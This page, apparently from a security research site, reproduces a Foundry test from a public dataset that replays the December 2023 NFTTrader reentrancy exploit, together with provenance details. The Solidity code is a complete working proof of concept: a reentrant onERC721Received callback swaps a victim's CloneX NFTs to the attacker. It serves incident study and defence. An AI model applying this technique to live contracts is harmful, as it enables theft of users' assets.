Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/NFTTrader_exp.sol

Public reproduction file for dataset entry NFTTrader.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/NFTTrader_exp.sol194 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~3M (info from hacked.slowmist.io)
8// Attacker : https://etherscan.io/address/0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d
9// Attacker Contract : https://etherscan.io/address/0x871f28e58f2a0906e4a56a82aec7f005b411f5c5
10// Vulnerable Contract : https://etherscan.io/address/0xc310e760778ecbca4c65b6c559874757a4c4ece0
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1736263884217139333
15// https://twitter.com/SlowMist_Team/status/1736005523550646535
16// https://twitter.com/0xArhat/status/1736038250190651467
18interface IUniV3PosNFT {
19 struct MintParams {
20 address token0;
21 address token1;
22 uint24 fee;
23 int24 tickLower;
24 int24 tickUpper;
25 uint256 amount0Desired;
26 uint256 amount1Desired;
27 uint256 amount0Min;
28 uint256 amount1Min;
29 address recipient;
30 uint256 deadline;
31 }
33 function setApprovalForAll(address operator, bool approved) external;
35 function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;
37 function mint(
38 MintParams memory params
39 ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
42interface INFTTrader {
43 struct swapIntent {
44 uint256 id;
45 address addressOne;
46 uint256 valueOne;
47 address addressTwo;
48 uint256 valueTwo;
49 uint256 swapStart;
50 uint256 swapEnd;
51 uint256 swapFee;
52 uint8 status;
53 }
55 struct swapStruct {
56 address dapp;
57 address typeStd;
58 uint256[] tokenId;
59 uint256[] blc;
60 bytes data;
61 }
63 function closeSwapIntent(address _swapCreator, uint256 _swapId) external payable;
65 function createSwapIntent(
66 swapIntent memory _swapIntent,
67 swapStruct[] memory _nftsOne,
68 swapStruct[] memory _nftsTwo
69 ) external payable;
71 function editCounterPart(uint256 _swapId, address _counterPart) external;
74contract ContractTest is Test {
75 IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
76 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
77 IUniV3PosNFT private constant UniV3PosNFT = IUniV3PosNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
78 INFTTrader private constant NFTTrader = INFTTrader(0xC310e760778ECBca4C65B6C559874757A4c4Ece0);
79 IERC721 private constant CloneX = IERC721(0x49cF6f5d44E70224e2E23fDcdd2C053F30aDA28B);
80 address private constant victim = 0x23938954BC875bb8309AEF15e2Dead54884B73Db;
81 address private constant tradeSquad = 0x58874d2951524F7f851bbBE240f0C3cF0b992d79;
82 uint256 private swapId;
84 function setUp() public {
85 vm.createSelectFork("mainnet", 18_799_414);
86 vm.label(address(UniV3PosNFT), "UniV3PosNFT");
87 vm.label(address(USDC), "USDC");
88 vm.label(address(WETH), "WETH");
89 vm.label(address(NFTTrader), "NFTTrader");
90 vm.label(address(CloneX), "CloneX");
91 vm.label(victim, "Victim");
92 vm.label(tradeSquad, "tradeSquad");
93 }
95 function testExploit() public {
96 deal(address(this), 0.001 ether);
98 IUniV3PosNFT.MintParams memory params = IUniV3PosNFT.MintParams({
99 token0: address(USDC),
100 token1: address(WETH),
101 fee: 500,
102 tickLower: 0,
103 tickUpper: 100_000,
104 amount0Desired: 0,
105 amount1Desired: address(this).balance,
106 amount0Min: 0,
107 amount1Min: 0,
108 recipient: address(this),
109 deadline: block.timestamp
110 });
112 (uint256 positionId,,,) = UniV3PosNFT.mint{value: address(this).balance}(params);
114 vm.roll(18_799_435);
115 deal(address(this), 0.1 ether);
116 UniV3PosNFT.setApprovalForAll(address(CloneX), true);
118 vm.roll(18_799_487);
119 UniV3PosNFT.setApprovalForAll(address(NFTTrader), true);
120 require(CloneX.isApprovedForAll(victim, address(NFTTrader)));
122 emit log_named_uint("Victim CloneX balance before attack", CloneX.balanceOf(victim));
124 emit log_named_uint("Exploiter CloneX balance before attack", CloneX.balanceOf(address(this)));
126 uint256[] memory victimsCloneXTokenIds = new uint256[](CloneX.balanceOf(victim));
127 victimsCloneXTokenIds[0] = 6670;
128 victimsCloneXTokenIds[1] = 6650;
129 victimsCloneXTokenIds[2] = 4843;
130 victimsCloneXTokenIds[3] = 5432;
131 victimsCloneXTokenIds[4] = 9870;
133 for (uint8 i; i < victimsCloneXTokenIds.length; ++i) {
134 INFTTrader.swapIntent memory _swapIntent = INFTTrader.swapIntent({
135 id: 0,
136 addressOne: address(0),
137 valueOne: 0,
138 addressTwo: address(this),
139 valueTwo: 0,
140 swapStart: 0,
141 swapEnd: 0,
142 swapFee: 0,
143 status: 0
144 });
146 INFTTrader.swapStruct[] memory _nftsOne = new INFTTrader.swapStruct[](0);
147 INFTTrader.swapStruct[] memory _nftsTwo = new INFTTrader.swapStruct[](2);
148 uint256[] memory _tokenId1 = new uint256[](1);
149 _tokenId1[0] = positionId;
150 uint256[] memory _blc = new uint256[](0);
151 _nftsTwo[0] = INFTTrader.swapStruct({
152 dapp: address(UniV3PosNFT),
153 typeStd: tradeSquad,
154 tokenId: _tokenId1,
155 blc: _blc,
156 data: ""
157 });
159 uint256[] memory _tokenId2 = new uint256[](1);
160 _tokenId2[0] = victimsCloneXTokenIds[i];
161 _nftsTwo[1] = INFTTrader.swapStruct({
162 dapp: address(CloneX),
163 typeStd: tradeSquad,
164 tokenId: _tokenId2,
165 blc: _blc,
166 data: ""
167 });
168 vm.recordLogs();
169 NFTTrader.createSwapIntent{value: 0.005 ether}(_swapIntent, _nftsOne, _nftsTwo);
170 Vm.Log[] memory entries = vm.getRecordedLogs();
171 (swapId,) = abi.decode(entries[0].data, (uint256, address));
172 NFTTrader.closeSwapIntent{value: 0.005 ether}(address(this), swapId);
173 }
175 for (uint8 j; j < victimsCloneXTokenIds.length; ++j) {
176 assertEq(CloneX.ownerOf(victimsCloneXTokenIds[j]), address(this));
177 }
179 emit log_named_uint("Victim CloneX balance after attack", CloneX.balanceOf(victim));
181 emit log_named_uint("Exploiter CloneX balance after attack", CloneX.balanceOf(address(this)));
182 }
184 function onERC721Received(
185 address operator,
186 address from,
187 uint256 tokenId,
188 bytes calldata data
189 ) external returns (bytes4) {
190 // Flawed function. Lack of reentrancy protection
191 NFTTrader.editCounterPart(swapId, victim);
192 return this.onERC721Received.selector;
193 }

Analysis

Dataset entry

Public Foundry test for “NFTTrader” (2023-12-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb1edf2a0ba8bc789cbc3dfbe519737cada034d2d

  • Attacker

    0x871f28e58f2a0906e4a56a82aec7f005b411f5c5

  • Vulnerable Contract

    0xc310e760778ecbca4c65b6c559874757a4c4ece0

  • Attack Tx

    0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d

File record

Name
NFTTrader
Path
src/test/2023-12/NFTTrader_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2c360bf9ac8fc901a8e21b3ae7a696b63024997c
Language
Solidity
Size
195 lines
Date
2023-12-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/NFTTrader_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2c360bf9ac8fc901a8e21b3ae7a696b63024997c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.